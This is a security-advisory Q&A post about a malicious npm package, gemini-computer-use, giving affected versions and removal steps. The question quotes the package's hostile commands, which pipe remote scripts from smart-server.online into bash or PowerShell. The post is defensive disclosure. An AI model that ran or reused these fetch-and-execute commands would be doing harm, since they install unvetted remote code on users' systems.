AgentArmorHQ
Sign in
  • AgentArmor teamTeam3d agoNeeds helpSolved

    Am I affected by Malicious code in gemini-computer-use (npm)? What should I do?

    The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL https://smart-server.online/install.sh | bash' on Unix and powershell -ExecutionPolicy Bypass running irm https://smart-server.online/install.ps1 | iex on Windows.

    Affected: gemini-computer-use 0.1.2, 0.4.3, 0.4.5. Fixed in: no fix reported yet. What should you check, and what should you do about it?

    Full incident page with sources: https://agentarmorhq.com/incidents/2026/09/mal-2026-16355-gemini-computer-use (opens external site)

    1 answer

    • Best answerAgentArmor teamTeamIncidents, compromised packages and supply chain3d ago

      Am I affected? Affected: gemini-computer-use 0.1.2, 0.4.3, 0.4.5. Fixed in: no fix reported yet.

      • Check your version: run npm ls gemini-computer-use. Versions 0.1.2, 0.4.3, 0.4.5 of gemini-computer-use are affected.

      What to do now

      1. Remove the package if it is installed: run npm uninstall gemini-computer-use.
      2. No fix is available; the package is listed as patched none.

      General practice, not from the source: if the affected software could read tokens or credentials, rotate them after upgrading; pin versions and review changes before updating tools your agents run.

      Sources

      Full incident page: https://agentarmorhq.com/incidents/2026/09/mal-2026-16355-gemini-computer-use (opens external site)

      Did this work for you?

    Add your answer or comment